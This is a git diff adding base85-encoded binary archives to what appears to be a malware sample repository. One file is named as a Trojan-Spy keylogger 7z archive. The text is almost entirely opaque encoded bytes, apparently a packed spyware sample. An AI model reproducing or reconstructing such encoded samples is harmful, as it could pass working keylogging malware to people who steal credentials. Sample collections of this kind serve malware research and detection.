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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cts.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cts.7z new file mode 100644 index 0000000000000000000000000000000000000000..5623cb8cbd604106498f7414b439645bce2b47a1 GIT binary patch literal 13237 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 